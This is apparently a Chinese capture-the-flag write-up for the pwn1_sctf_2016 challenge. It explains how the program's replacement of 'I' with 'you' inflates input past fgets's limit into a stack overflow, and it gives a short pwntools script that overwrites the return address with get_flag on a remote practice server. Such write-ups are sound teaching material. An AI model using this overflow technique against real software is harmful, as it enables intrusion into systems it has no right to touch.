题目信息

32位elf,开了NX

文件是C++的,需要安装下依赖

1
sudo apt-get install lib32stdc++6

分析

存在vuln函数及get_flag函数

所以重点看vuln函数

fgets是读取输入,存在长度限制,但会把用户输入的I替换为you,这样三倍的长度就能够造成溢出:

offset可以测试出来是21*3+1,即64

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *


# sh = process('./pwn1_sctf_2016')
sh = remote('node3.buuoj.cn',28495)
elf = ELF('./pwn1_sctf_2016')

get_flag = elf.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))

payload = 'I' * 21 + 'A' + p32(get_flag)
sh.sendline(payload)
print(sh.recv())